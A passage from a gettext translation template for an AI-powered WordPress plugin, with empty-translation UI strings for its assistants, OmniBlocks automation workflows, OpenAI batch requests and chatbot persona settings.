custom " "shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to " "add data that is imported from the custom field post_data, you should use " "this shortcode: %%!post_data!%%. The length of this command should not be " "greater than the max token count set in the settings for the seed command - " "Update: %%related_questions_KEYWORD%% is also supported, to get a list of " "PAA questions for the KEYWORD you want to use. Update: nested shortcodes " "also supported (shortcodes generated by rules from other plugins)." msgstr "" #: res/aiomatic-assistants.php:506 res/aiomatic-assistants.php:707 msgid "Assistant First Message" msgstr "" #: res/aiomatic-assistants.php:510 res/aiomatic-assistants.php:711 msgid "Set the first message of this assistant." msgstr "" #: res/aiomatic-assistants.php:516 res/aiomatic-assistants.php:717 msgid "Code Interpreter" msgstr "" #: res/aiomatic-assistants.php:520 res/aiomatic-assistants.php:721 msgid "" "Code Interpreter enables the assistant to write and run code. This tool can " "process files with diverse data and formatting, and generate files such as " "graphs." msgstr "" #: res/aiomatic-assistants.php:524 res/aiomatic-assistants.php:725 msgid "File Search" msgstr "" #: res/aiomatic-assistants.php:528 res/aiomatic-assistants.php:729 msgid "" "File Search enables the assistant with knowledge from files that you or your " "users upload. Once a file is uploaded, the assistant automatically decides " "when to retrieve content based on user requests. To enable this " "functionality, a newer model is needed, version 1106 or newer." msgstr "" #: res/aiomatic-assistants.php:532 res/aiomatic-assistants.php:733 msgid "Assistant Files" msgstr "" #: res/aiomatic-assistants.php:536 res/aiomatic-assistants.php:737 msgid "" "Select the files which will be available for the assistant. You can add more " "files in the 'Manage Assistant Files' menu. To enable this functionality, " "code interpreter or file_search needs to be enabled for this assistant." msgstr "" #: res/aiomatic-assistants.php:544 res/aiomatic-assistants.php:745 msgid "Assistant Functions" msgstr "" #: res/aiomatic-assistants.php:548 res/aiomatic-assistants.php:749 msgid "" "Set the function or an array of functions, which the assistant will be able " "to call You need to respect the required function format, for this to work." msgstr "" #: res/aiomatic-assistants.php:576 res/aiomatic-assistants.php:777 msgid "Use Below Functions" msgstr "" #: res/aiomatic-assistants.php:577 res/aiomatic-assistants.php:778 msgid "Disable Functions" msgstr "" #: res/aiomatic-assistants.php:578 res/aiomatic-assistants.php:779 msgid "God Mode (WordPress Function Calling)" msgstr "" #: res/aiomatic-assistants.php:579 res/aiomatic-assistants.php:780 msgid "Dall-E AI Images" msgstr "" #: res/aiomatic-assistants.php:580 res/aiomatic-assistants.php:781 msgid "Stable Diffusion AI Images" msgstr "" #: res/aiomatic-assistants.php:581 res/aiomatic-assistants.php:782 msgid "Midjourney AI Images" msgstr "" #: res/aiomatic-assistants.php:582 res/aiomatic-assistants.php:783 msgid "Stable Diffusion AI Videos" msgstr "" #: res/aiomatic-assistants.php:585 res/aiomatic-assistants.php:786 msgid "Website Scraper" msgstr "" #: res/aiomatic-assistants.php:586 res/aiomatic-assistants.php:787 msgid "RSS Parser" msgstr "" #: res/aiomatic-assistants.php:587 res/aiomatic-assistants.php:788 msgid "Google SERP Parser" msgstr "" #: res/aiomatic-assistants.php:589 res/aiomatic-assistants.php:790 msgid "YouTube Video Captions Scraper" msgstr "" #: res/aiomatic-assistants.php:591 res/aiomatic-assistants.php:792 msgid "Email Sending" msgstr "" #: res/aiomatic-assistants.php:592 res/aiomatic-assistants.php:793 msgid "Webhook Calling" msgstr "" #: res/aiomatic-assistants.php:593 res/aiomatic-assistants.php:794 msgid "Facebook Posting" msgstr "" #: res/aiomatic-assistants.php:594 res/aiomatic-assistants.php:795 msgid "Facebook Image Posting" msgstr "" #: res/aiomatic-assistants.php:595 res/aiomatic-assistants.php:796 msgid "Twitter Posting" msgstr "" #: res/aiomatic-assistants.php:596 res/aiomatic-assistants.php:797 msgid "Instagram Image Posting" msgstr "" #: res/aiomatic-assistants.php:597 res/aiomatic-assistants.php:798 msgid "Pinterest Image Posting" msgstr "" #: res/aiomatic-assistants.php:598 res/aiomatic-assistants.php:799 msgid "Google My Business Posting" msgstr "" #: res/aiomatic-assistants.php:599 res/aiomatic-assistants.php:800 msgid "YouTube Community Posting" msgstr "" #: res/aiomatic-assistants.php:600 res/aiomatic-assistants.php:801 msgid "Reddit Posting" msgstr "" #: res/aiomatic-assistants.php:601 res/aiomatic-assistants.php:802 msgid "LinkedIn Posting" msgstr "" #: res/aiomatic-assistants.php:602 res/aiomatic-assistants.php:803 msgid "Assistant Avatar" msgstr "" #: res/aiomatic-assistants.php:606 res/aiomatic-assistants.php:807 msgid "Set the avatar of the chatbot assistant." msgstr "" #: res/aiomatic-assistants.php:612 res/aiomatic-assistants.php:813 #: res/aiomatic-chatbot.php:1182 res/aiomatic-chatbot.php:1611 #: res/aiomatic-chatbot.php:8687 msgid "Select an avatar" msgstr "" #: res/aiomatic-assistants.php:613 res/aiomatic-assistants.php:814 #: res/aiomatic-chatbot.php:1183 res/aiomatic-chatbot.php:1612 #: res/aiomatic-chatbot.php:8688 msgid "Clear avatar" msgstr "" #: res/aiomatic-assistants.php:629 msgid "Edit Assistant" msgstr "" #: res/aiomatic-automation-list.php:93 res/aiomatic-automation-list.php:2692 msgid "OmniBlock Rule Manager" msgstr "" #: res/aiomatic-automation-list.php:94 res/aiomatic-automation-list.php:2693 msgid "OmniBlock Template Manager" msgstr "" #: res/aiomatic-automation-list.php:95 res/aiomatic-automation-list.php:2694 msgid "OmniBlock Types" msgstr "" #: res/aiomatic-automation-list.php:96 res/aiomatic-automation-list.php:2695 msgid "OmniBlock Files" msgstr "" #: res/aiomatic-automation-list.php:102 msgid "Edit OmniBlock Template" msgstr "" #: res/aiomatic-automation-list.php:122 msgid "Run OmniBlock" msgstr "" #: res/aiomatic-automation-list.php:142 msgid "Add A New OmniBlock Template" msgstr "" #: res/aiomatic-automation-list.php:2192 res/aiomatic-automation-list.php:4896 #: res/aiomatic-automation-list.php:7847 msgid "Select what type of block you want to add." msgstr "" #: res/aiomatic-automation-list.php:2196 res/aiomatic-automation-list.php:4900 #: res/aiomatic-automation-list.php:7849 msgid "Add the above OmniBlock to the Queue" msgstr "" #: res/aiomatic-automation-list.php:2231 res/aiomatic-automation-list.php:2512 msgid "Backup/Restore OmniBlock Templates" msgstr "" #: res/aiomatic-automation-list.php:2241 msgid "Restore OmniBlock Templates From File" msgstr "" #: res/aiomatic-automation-list.php:2245 msgid "Hit this button and you can restore OmniBlock Templates from file." msgstr "" #: res/aiomatic-automation-list.php:2271 msgid "" "File uploaded successfully you can view it in the OmniBlock Templates " "listing tab." msgstr "" #: res/aiomatic-automation-list.php:2281 msgid "Import OmniBlock Templates From File" msgstr "" #: res/aiomatic-automation-list.php:2297 msgid "Backup Current OmniBlock Templates To File:" msgstr "" #: res/aiomatic-automation-list.php:2301 msgid "" "Hit this button and you can backup the current OmniBlock Templates to file." msgstr "" #: res/aiomatic-automation-list.php:2312 msgid "Import Default OmniBlock Templates (This Can Take For A While)" msgstr "" #: res/aiomatic-automation-list.php:2316 msgid "" "Hit this button and the plugin will create the default OmniBlock Templates " "which come bundled with the plugin." msgstr "" #: res/aiomatic-automation-list.php:2324 msgid "Import Default OmniBlock Templates" msgstr "" #: res/aiomatic-automation-list.php:2337 msgid "Manage OmniBlock Files:" msgstr "" #: res/aiomatic-automation-list.php:2340 msgid "Select File To Upload:" msgstr "" #: res/aiomatic-automation-list.php:2341 msgid "Link To Remote File:" msgstr "" #: res/aiomatic-automation-list.php:2341 msgid "Remote file URL" msgstr "" #: res/aiomatic-automation-list.php:2343 msgid "Upload Location:" msgstr "" #: res/aiomatic-automation-list.php:2375 msgid "Sync OmniBlock Files" msgstr "" #: res/aiomatic-automation-list.php:2378 msgid "Upload OmniBlock File" msgstr "" #: res/aiomatic-automation-list.php:2381 msgid "Delete Selected OmniBlock Files" msgstr "" #: res/aiomatic-automation-list.php:2403 msgid "All OmniBlock Files" msgstr "" #: res/aiomatic-automation-list.php:2423 msgid "Location" msgstr "" #: res/aiomatic-automation-list.php:2463 msgid "View" msgstr "" #: res/aiomatic-automation-list.php:2473 msgid "" "No OmniBlock Files found. You can add more using the 'Upload OmniBlock File' " "button from above. You can also generate new files using OmniBlocks." msgstr "" #: res/aiomatic-automation-list.php:2506 msgid "Manage OmniBlock Templates:" msgstr "" #: res/aiomatic-automation-list.php:2509 msgid "Add New OmniBlock Template" msgstr "" #: res/aiomatic-automation-list.php:2515 msgid "Delete Selected OmniBlock Templates" msgstr "" #: res/aiomatic-automation-list.php:2528 msgid "All OmniBlock Templates" msgstr "" #: res/aiomatic-automation-list.php:2539 msgid "Category" msgstr "" #: res/aiomatic-automation-list.php:2590 msgid "" "No OmniBlock Templates added. You can add more using the 'Add New OmniBlock " "Templates' button from above. You can also import the default templates " "which come with the plugin, by clicking on the 'Backup/Restore OmniBlock " "Templates' button from above and afterwards, the 'Import Default OmniBlock " "Templates' button." msgstr "" #: res/aiomatic-automation-list.php:2620 msgid "Available OmniBlock Types:" msgstr "" #: res/aiomatic-automation-list.php:2654 msgid "Category:" msgstr "" #: res/aiomatic-automation-list.php:2659 msgid "Required plugin not active. Get It Now!" msgstr "" #: res/aiomatic-automation-list.php:2679 msgid "Welcome to the AI OmniBlocks Tutorial" msgstr "" #: res/aiomatic-automation-list.php:2680 msgid "" "In this tutorial, we will explore the AI OmniBlocks feature of the Aiomatic " "plugin, which will be a guaranteed gamechanger for the AI game!" msgstr "" #: res/aiomatic-automation-list.php:2682 msgid "Getting Started with AI OmniBlocks" msgstr "" #: res/aiomatic-automation-list.php:2683 msgid "" "First, ensure you have installed the latest version of Aiomatic. Be sure to " "update the plugin to the latest version available for download on CodeCanyon." msgstr "" #: res/aiomatic-automation-list.php:2685 msgid "Understanding OmniBlocks" msgstr "" #: res/aiomatic-automation-list.php:2686 msgid "" "OmniBlocks are modular AI-driven elements that can be combined and executed " "sequentially to automate content creation tasks. They will bring limitless " "potential to AI driven work, allowing you to create your own AI driven task " "sequence, in a queue." msgstr "" #: res/aiomatic-automation-list.php:2687 msgid "" "For example, the first OmniBlock in a sequence might generate an SEO-" "optimized blog post title based on input keywords, while subsequent blocks " "might generate an article outline, and then the full article text. Upcoming " "blocks can publish the article, while the final blocks can share the article " "on a specific social network of your choice." msgstr "" #: res/aiomatic-automation-list.php:2689 msgid "Meeting OmniBlocks For The First Time" msgstr "" #: res/aiomatic-automation-list.php:2690 msgid "" "Once installed, navigate to the AI OmniBlocks menu in your dashboard where " "you'll find the following tabs in the menu:" msgstr "" #: res/aiomatic-automation-list.php:2698 msgid "Importing Default Templates" msgstr "" #: res/aiomatic-automation-list.php:2699 msgid "" "Begin by importing the default templates that come bundled with the plugin:" msgstr "" #: res/aiomatic-automation-list.php:2701 msgid "Go to the OmniBlock Template Manager tab." msgstr "" #: res/aiomatic-automation-list.php:2702 msgid "Click on 'Backup/Restore OmniBlock Templates'." msgstr "" #: res/aiomatic-automation-list.php:2703 msgid "In the popup, click 'Import Default OmniBlock Templates'." msgstr "" #: res/aiomatic-automation-list.php:2705 msgid "" "This action refreshes the page and new templates such as 'Amazon Best " "Sellers', 'Engaging Blog Post Title', and others will appear." msgstr "" #: res/aiomatic-automation-list.php:2707 msgid "Configuring OmniBlocks" msgstr "" #: res/aiomatic-automation-list.php:2709 res/aiomatic-shortcodes.php:168 #: res/aiomatic-spinner-list.php:5188 msgid "Example:" msgstr "" #: res/aiomatic-automation-list.php:2709 msgid "To configure an OmniBlock for creating a simple blog post:" msgstr "" #: res/aiomatic-automation-list.php:2710 msgid "1. Enter a keyword in the input field." msgstr "" #: res/aiomatic-automation-list.php:2711 msgid "2. Select the relevant template from the Template Manager." msgstr "" #: res/aiomatic-automation-list.php:2712 msgid "3. Click 'Save Settings' to ensure all configurations are stored." msgstr "" #: res/aiomatic-automation-list.php:2713 msgid "" "4. Run the OmniBlock rule, using the 'Select an action' button from the " "created OmniBlock rule." msgstr "" #: res/aiomatic-automation-list.php:2716 msgid "Creating Custom Templates" msgstr "" #: res/aiomatic-automation-list.php:2717 msgid "" "You can also create your own OmniBlock templates by combining different " "types of blocks as per your specific needs. This is particularly useful for " "more complex tasks that require customized workflows." msgstr "" #: res/aiomatic-automation-list.php:2719 msgid "Testing and Feedback" msgstr "" #: res/aiomatic-automation-list.php:2720 msgid "" "Since AI OmniBlocks are still in beta, testing them thoroughly and providing " "feedback is crucial. If you encounter any issues or have suggestions for " "improvements, you can contact via the email listed on the YouTube channel or " "leave a comment under the video." msgstr "" #: res/aiomatic-automation-list.php:2722 msgid "Conclusion" msgstr "" #: res/aiomatic-automation-list.php:2723 msgid "" "This feature, although still under development, represents a significant " "advancement in automating content creation within the Aiomatic environment. " "With further refinement and user feedback, it will become even more powerful." msgstr "" #: res/aiomatic-automation-list.php:2725 msgid "" "Thank you for following this tutorial. Look forward to more updates on this " "feature!" msgstr "" #: res/aiomatic-automation-list.php:2726 msgid "OmniBlocks Tutorial Video" msgstr "" #: res/aiomatic-automation-list.php:2763 msgid "Keywords" msgstr "" #: res/aiomatic-automation-list.php:2767 #, php-format msgid "" "Set the main keywords which will be processed by this automation task. Enter " "a keyword on each line. You will be able to access the values of these " "keywords, from the AI process, using the following shortcode: %%keyword%%" msgstr "" #: res/aiomatic-automation-list.php:2791 msgid "# Actions" msgstr "" #: res/aiomatic-automation-list.php:2795 msgid "Select the maximum number of keywords to process in a single run." msgstr "" #: res/aiomatic-automation-list.php:2801 msgid "OmniBlock Manager" msgstr "" #: res/aiomatic-automation-list.php:2805 msgid "Configures OmniBlocks for this rule." msgstr "" #: res/aiomatic-automation-list.php:2811 res/aiomatic-limits-statistics.php:323 msgid "More Settings" msgstr "" #: res/aiomatic-automation-list.php:2815 msgid "Configure advanced settings for this rule." msgstr "" #: res/aiomatic-automation-list.php:4922 res/aiomatic-automation-list.php:7868 msgid "Additional Parameters" msgstr "" #: res/aiomatic-automation-list.php:4929 res/aiomatic-automation-list.php:7872 #, php-format msgid "" "Add additional shortcodes which will be available in the OmniBlocks. Add " "multiple shortcodes on a new line. In the above OmniBlocks, you can use the " "shortcodes in this format: %%shortcode_name%%. The format is: shortcode_name " "=> shortcode_value1, shortcode_value2" msgstr "" #: res/aiomatic-automation-list.php:4933 res/aiomatic-automation-list.php:7874 msgid "Additional Shortcodes:" msgstr "" #: res/aiomatic-automation-list.php:4936 res/aiomatic-automation-list.php:7877 msgid "Set up additional shortcodes which will be available in OmniBlocks." msgstr "" #: res/aiomatic-automation-list.php:4941 res/aiomatic-automation-list.php:7881 msgid "AI OmniBlock Templates Manager" msgstr "" #: res/aiomatic-automation-list.php:4948 res/aiomatic-automation-list.php:7885 msgid "" "Select a OmniBlock template to be used in this rule. You can import the " "default templates which come bundled with the plugin, from the above " "'OmniBlock Template Manager' tab -> 'Backup/Restore OmniBlock Templates' " "button -> 'Import Default OmniBlock Templates' button." msgstr "" #: res/aiomatic-automation-list.php:4952 res/aiomatic-automation-list.php:7887 msgid "Load An OmniBlock Template:" msgstr "" #: res/aiomatic-automation-list.php:4955 res/aiomatic-automation-list.php:7890 msgid "" "Select an OmniBlock Template to be loaded into the OmniBlock Queue. Note " "that this will overwrite your current OmniBlock setup." msgstr "" #: res/aiomatic-automation-list.php:4960 res/aiomatic-automation-list.php:7893 msgid "Select a template" msgstr "" #: res/aiomatic-automation-list.php:4969 res/aiomatic-automation-list.php:7901 msgid "No templates found. Add some in the 'OmniBlock Template Manager' tab" msgstr "" #: res/aiomatic-automation-list.php:4980 res/aiomatic-automation-list.php:7909 msgid "Select a OmniBlock template category to list." msgstr "" #: res/aiomatic-automation-list.php:4984 res/aiomatic-automation-list.php:7911 msgid "Filter OmniBlock Templates By Category:" msgstr "" #: res/aiomatic-automation-list.php:4987 res/aiomatic-automation-list.php:7914 msgid "Filter displayed OmniBlock Templates by Category." msgstr "" #: res/aiomatic-automation-list.php:4992 res/aiomatic-automation-list.php:7917 msgid "Show all templates" msgstr "" #: res/aiomatic-automation-list.php:5001 res/aiomatic-automation-list.php:7925 msgid "" "No template categories found. Add some in the 'OmniBlock Template Manager' " "tab" msgstr "" #: res/aiomatic-automation-list.php:5012 res/aiomatic-automation-list.php:7933 msgid "" "Save the above OmniBlock queue as a new OmniBlock template. Afterwards, the " "template will be manageable in the 'OmniBlock Template Manager' tab from " "above." msgstr "" #: res/aiomatic-automation-list.php:5016 res/aiomatic-automation-list.php:7935 msgid "Save Above OmniBlocks As A New Template:" msgstr "" #: res/aiomatic-automation-list.php:5019 res/aiomatic-automation-list.php:7938 msgid "Saves the OmniBlock Queue configured above, as a new Template" msgstr "" #: res/aiomatic-automation-list.php:5019 res/aiomatic-automation-list.php:7938 #: res/image-seo/seo-panel.php:48 msgid "Save New Template" msgstr "" #: res/aiomatic-automation-list.php:5054 res/aiomatic-automation-list.php:7966 msgid "" "Select if you want to process each keyword from the added list only once." msgstr "" #: res/aiomatic-automation-list.php:5058 msgid "Process Each Keyword Only Once:" msgstr "" #: res/aiomatic-automation-list.php:5116 res/aiomatic-automation-list.php:8133 msgid "Erase Processed Keyword History" msgstr "" #: res/aiomatic-automation-list.php:6980 msgid "Run Now" msgstr "" #: res/aiomatic-automation-list.php:7969 msgid "Process Each Keyword Only Once" msgstr "" #: res/aiomatic-batch.php:52 msgid "Manual Batch File Generator" msgstr "" #: res/aiomatic-batch.php:53 msgid "Manage AI Batch Requests" msgstr "" #: res/aiomatic-batch.php:54 msgid "Manage AI Batch Request Files" msgstr "" #: res/aiomatic-batch.php:58 msgid "What are AI Batch Requests?" msgstr "" #: res/aiomatic-batch.php:59 msgid "" "The Batch API is a powerful feature of the OpenAI platform that allows you " "to send asynchronous groups of requests, offering significant cost savings, " "higher rate limits, and a clear 24-hour turnaround time. This service is " "ideal for processing jobs that don't require immediate responses. You can " "use the Batch API for tasks such as:" msgstr "" #: res/aiomatic-batch.php:60 msgid "Running evaluations" msgstr "" #: res/aiomatic-batch.php:61 msgid "Classifying large datasets" msgstr "" #: res/aiomatic-batch.php:62 msgid "Embedding content repositories" msgstr "" #: res/aiomatic-batch.php:63 msgid "Compared to using standard endpoints directly, the Batch API provides:" msgstr "" #: res/aiomatic-batch.php:64 #, no-php-format msgid "Better cost efficiency: 50% cost discount compared to synchronous APIs" msgstr "" #: res/aiomatic-batch.php:65 msgid "" "Higher rate limits: Substantially more headroom compared to the synchronous " "APIs" msgstr "" #: res/aiomatic-batch.php:66 msgid "" "Fast completion times: Each batch completes within 24 hours (and often more " "quickly)" msgstr "" #: res/aiomatic-batch.php:67 #, php-format msgid "" "Check details about the Batch API, in OpenAI's official documentation and FAQ." msgstr "" #: res/aiomatic-batch.php:68 msgid "How to Use the Batch API" msgstr "" #: res/aiomatic-batch.php:69 msgid "Step 1: Prepare Your Batch File" msgstr "" #: res/aiomatic-batch.php:70 msgid "" "You can use the 'Manual Batch File Generator' tab to create a .jsonl file " "which will be able to be uploaded directly to OpenAI and used as a AI Batch " "Request file." msgstr "" #: res/aiomatic-batch.php:71 msgid "" "You can also manually create a .jsonl file where each line contains the " "details of an individual request to the API. Each request must include a " "unique custom_id value. Here's an example of an input file with 2 requests:" msgstr "" #: res/aiomatic-batch.php:74 msgid "Step 2: Upload Your Batch Input File" msgstr "" #: res/aiomatic-batch.php:75 msgid "" "Upload your .jsonl file using the 'Manage AI Batch Request Files' tab of " "this menu." msgstr "" #: res/aiomatic-batch.php:76 msgid "Step 3: Create the Batch" msgstr "" #: res/aiomatic-batch.php:77 msgid "" "Use the input File object's ID to create a batch, in the 'Manage AI Batch " "Requests' tab from this menu." msgstr "" #: res/aiomatic-batch.php:78 msgid "Step 4: Check the Status of a Batch & Retrieve the Results" msgstr "" #: res/aiomatic-batch.php:79 msgid "" "You can check the status of a batch at any time. Once the batch is complete, " "download the output from the 'Manage AI Batch Requests' tab." msgstr "" #: res/aiomatic-batch.php:80 msgid "" "That's it! You've successfully set up an AI-powered Batch API request, using " "the Aiomatic plugin." msgstr "" #: res/aiomatic-batch.php:81 msgid "AI Batch Requests Tutorial Video" msgstr "" #: res/aiomatic-batch.php:86 res/aiomatic-training.php:163 msgid "Enter Your Data" msgstr "" #: res/aiomatic-batch.php:91 res/aiomatic-main.php:3768 #: res/aiomatic-single-list.php:918 res/aiomatic-single-list.php:927 #: res/aiomatic-single-list.php:936 res/aiomatic-single-list.php:967 #: res/aiomatic-single-list.php:976 res/aiomatic-training.php:168 msgid "Prompt" msgstr "" #: res/aiomatic-batch.php:119 res/aiomatic-training.php:204 msgid "Save & Add New" msgstr "" #: res/aiomatic-batch.php:120 res/aiomatic-training.php:205 msgid "Clear Data" msgstr "" #: res/aiomatic-batch.php:121 res/aiomatic-training.php:206 msgid "Download Data" msgstr "" #: res/aiomatic-batch.php:122 res/aiomatic-training.php:207 msgid "Load From File" msgstr "" #: res/aiomatic-batch.php:125 res/aiomatic-training.php:210 msgid "You can load .csv or .jsonl files." msgstr "" #: res/aiomatic-batch.php:126 res/aiomatic-training.php:211 msgid "" "TIP: You don't need to add prompt or completition suffixes in the data from " "above, as the plugin will handle this automatically, it will automatically " "add to your data the suffixes defined in the plugin's 'Settings' menu." msgstr "" #: res/aiomatic-batch.php:134 msgid "Batch" msgstr "" #: res/aiomatic-batch.php:139 res/aiomatic-training.php:113 #: res/aiomatic-training.php:224 msgid "Model Base" msgstr "" #: res/aiomatic-batch.php:161 res/aiomatic-single-list.php:849 msgid "Max Tokens" msgstr "" #: res/aiomatic-batch.php:163 msgid "Maximum token size (optional)" msgstr "" #: res/aiomatic-batch.php:167 res/aiomatic-training.php:242 msgid "Custom Name" msgstr "" #: res/aiomatic-batch.php:169 res/aiomatic-training.php:244 msgid "File name" msgstr "" #: res/aiomatic-batch.php:199 msgid "Upload A New AI Batch Request File (*.jsonl)" msgstr "" #: res/aiomatic-batch.php:233 msgid "Manage Uploaded AI Batch Request Files" msgstr "" #: res/aiomatic-batch.php:254 msgid "Manage AI Batch Requests:" msgstr "" #: res/aiomatic-batch.php:257 res/aiomatic-batch.php:386 msgid "Add New AI Batch Request" msgstr "" #: res/aiomatic-batch.php:260 msgid "Sync All AI Batch Requests With OpenAI" msgstr "" #: res/aiomatic-batch.php:263 msgid "Delete AI Batch Request Local Database" msgstr "" #: res/aiomatic-batch.php:284 msgid "All AI Batch Requests" msgstr "" #: res/aiomatic-batch.php:300 msgid "OpenAI ID" msgstr "" #: res/aiomatic-batch.php:303 msgid "Local ID" msgstr "" #: res/aiomatic-batch.php:309 res/aiomatic-batch.php:544 #: res/aiomatic-main.php:4707 res/aiomatic-main.php:4745 #: res/aiomatic-main.php:4786 res/aiomatic-main.php:4823 msgid "Endpoint" msgstr "" #: res/aiomatic-batch.php:336 msgid "Details" msgstr "" #: res/aiomatic-batch.php:353 msgid "" "No AI Batch Requests added. You can add more using the 'Add New Batch " "Request' button from above." msgstr "" #: res/aiomatic-batch.php:394 msgid "Input File*" msgstr "" #: res/aiomatic-batch.php:397 msgid "Add a jsonl file of request inputs for the batch." msgstr "" #: res/aiomatic-batch.php:405 msgid "Azure/Claude API is not currently supported for AI Batch Requests" msgstr "" #: res/aiomatic-batch.php:415 msgid "Missing API Setting" msgstr "" #: res/aiomatic-batch.php:470 msgid "" "Please upload files in the 'Manage AI Batch Requests Files' tab to use this " "option" msgstr "" #: res/aiomatic-batch.php:477 msgid "Completion Window*" msgstr "" #: res/aiomatic-batch.php:480 msgid "The time frame within which the batch should be processed." msgstr "" #: res/aiomatic-batch.php:485 msgid "24 hours" msgstr "" #: res/aiomatic-batch.php:488 msgid "Endpoint*" msgstr "" #: res/aiomatic-batch.php:491 msgid "The endpoint to be used for all requests in the batch." msgstr "" #: res/aiomatic-batch.php:501 msgid "Add" msgstr "" #: res/aiomatic-batch.php:514 msgid "View AI Batch Request Details" msgstr "" #: res/aiomatic-batch.php:523 msgid "Batch Request ID" msgstr "" #: res/aiomatic-batch.php:539 msgid "Created at" msgstr "" #: res/aiomatic-batch.php:550 msgid "Finishing time" msgstr "" #: res/aiomatic-batch.php:557 msgid "Request counts" msgstr "" #: res/aiomatic-batch.php:564 msgid "Files" msgstr "" #: res/aiomatic-batch.php:574 msgid "Output" msgstr "" #: res/aiomatic-batch.php:581 msgid "Error" msgstr "" #: res/aiomatic-batch.php:589 msgid "Batch Timeline" msgstr "" #: res/aiomatic-batch.php:610 msgid "Parse Batch Results" msgstr "" #: res/aiomatic-chatbot.php:1032 msgid "Persona Selector" msgstr "" #: res/aiomatic-chatbot.php:1033 msgid "Persona Manager" msgstr "" #: res/aiomatic-chatbot.php:1034 msgid "API Parameters" msgstr "" #: res/aiomatic-chatbot.php:1035 msgid "Chatbot Context Details" msgstr "" #: res/aiomatic-chatbot.php:1036 msgid "Styling" msgstr "" #: res/aiomatic-chatbot.php:1037 msgid "Moderation" msgstr "" #: res/aiomatic-chatbot.php:1038 msgid "Global Chatbots" msgstr "" #: res/aiomatic-chatbot.php:1039 msgid "Limitations" msgstr "" #: res/aiomatic-chatbot.php:1040 msgid "Text-to-Speech/Video" msgstr "" #: res/aiomatic-chatbot.php:1041 msgid "PDF Chat" msgstr "" #: res/aiomatic-chatbot.php:1042 msgid "Remote Chatbot" msgstr "" #: res/aiomatic-chatbot.php:1044 msgid "Persistent Chat Logs" msgstr "" #: res/aiomatic-chatbot.php:1045 msgid "Extensions" msgstr "" #: res/aiomatic-chatbot.php:1067 msgid "AI Chatbot Configuration Details" msgstr "" #: res/aiomatic-chatbot.php:1068 msgid "" "In this tutorial, I'll walk through the process of setting up an AI-powered " "chatbot on your WordPress website using the Aiomatic WordPress plugin. This " "plugin allows you to integrate AI language models to create a highly " "customizable chatbot that can interact with your website visitors." msgstr "" #: res/aiomatic-chatbot.php:1070 msgid "" "In the Aiomatic settings page, navigate to the \"AI Chatbot\" menu of the " "plugin. You will be able to customize the chatbot in the 'Chatbot " "Customization', 'Chatbot Default Styling', 'Chatbot Settings' and 'Default " "API Parameters' tabs. Here, you can define how the chatbot will respond to " "specific user inputs. You can also change the visual style and appearance of " "the chatbot. Don't forget to always save your changes." msgstr "" #: res/aiomatic-chatbot.php:1072 msgid "" "You can add the chatbot globally to your site or locally to posts or pages. " "To add the chatbot locally, you can use the [aiomatic-chat-form] shortcode. " "If you want to add it globally, you need to go to the settings page of the " "plugin, go to the \"AI Chatbot\" menu of the plugin and navigate to the " "'Global Chatbots' tab. Choose where you want the chatbot to appear on your " "website (e.g., on all front end, back end, except pages where you don't want " "the chatbot to appear)." msgstr "" #: res/aiomatic-chatbot.php:1074 msgid "" "Visit your website and look for the chatbot. Interact with the chatbot by " "typing questions or phrases into the chat window. Verify that the chatbot " "responds appropriately based on the rules you defined." msgstr "" #: res/aiomatic-chatbot.php:1075 msgid "" "That's it! You've successfully set up an AI-powered chatbot on your " "WordPress website using the Aiomatic plugin. This chatbot can be a valuable " "tool for engaging with your website visitors, answering frequently asked " "questions, and providing personalized assistance." msgstr "" #: res/aiomatic-chatbot.php:1076 msgid "AI Chatbot Tutorial Video" msgstr "" #: res/aiomatic-chatbot.php:1082 res/aiomatic-chatbot.php:1463 msgid "Chatbot Persona Settings:" msgstr "" #: res/aiomatic-chatbot.php:1089 #, php-format msgid "" "Set the name of the AI Assistant. This will be prepended to each AI message. " "This is useful to teach the AI chatbot about its role and name. List of " "supported shortcodes: %%post_title%%, %%post_content%%, " "%%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, " "%%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, " "%%post_link%%, %%random_sentence%%, %%random_sentence2%%, %%user_name%%, " "%%user_email%%, %%user_display_name%%, %%user_role%%, %%user_id%%, " "%%user_firstname%%, %%user_lastname%%, %%user_url%%, %%user_description%%. " "You can also use custom fields (post meta) that it's assigned to posts using " "custom shortcodes in this format: %%!custom_field_slug!%%. You can also use " "custom user meta fields (user meta) which is assigned to users using custom " "shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to " "add data that is imported from the custom field post_data, you should use " "this shortcode: %%!post_data!%%. The length of this command should not be " "greater than the max token count set in the settings for the seed command - " "Update: %%related_questions_KEYWORD%% is also supported, to get a list of " "PAA questions for the KEYWORD you want to use. Update: nested shortcodes " "also supported (shortcodes generated by rules from other plugins)." msgstr "" #: res/aiomatic-chatbot.php:1107 res/aiomatic-chatbot.php:1536 msgid "" "Set the role of the AI Assistant. This info is only informative, will appear " "only in the chatbot interface, is not sent to the AI writer. Be sure to add " "the role in the 'Chatbot Context' settings field, for it to take effect in " "the AI writer." msgstr "" #: res/aiomatic-chatbot.php:1111 res/aiomatic-chatbot.php:1540 msgid "AI Assistant Role:" msgstr "" #: res/aiomatic-chatbot.php:1125 res/aiomatic-chatbot.php:1554 #, php-format msgid "" "Add a context to the AI chatbot, so it knows how to act and how to respond " "to customers. You can define here the language, tone of voice and role of " "the AI assistant. Any other settings will also be able to be defined here. " "This text will be preppended to each conversation, to teach the AI some " "additional info about you or its behavior. This text will not be displayed " "to users, it will be only sent to the chatbot. You can also use shortcodes " "in this field. List of supported shortcodes: %%post_title%%, " "%%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, " "%%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, " "%%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, " "%%random_sentence2%%, %%user_name%%, %%user_email%%, %%user_display_name%%, " "%%user_role%%, %%user_id%%, %%user_firstname%%, %%user_lastname%%, " "%%user_url%%, %%user_description%%. You can also use custom fields (post " "meta) that it's assigned to posts using custom shortcodes in this format: %%!" "custom_field_slug!%%. You can also use custom user meta fields (user meta) " "which is assigned to users using custom shortcodes in this format: " "%%~custom_field_slug~%%. Example: if you wish to add data that is imported " "from the custom field post_data, you should use this shortcode: %%!post_data!" "%%. The length of this command should not be greater than the max token " "count set in the settings for the seed command - Update: " "%%related_questions_KEYWORD%% is also supported, to get a list of PAA " "questions for the KEYWORD you want to use. Update: nested shortcodes also " "supported 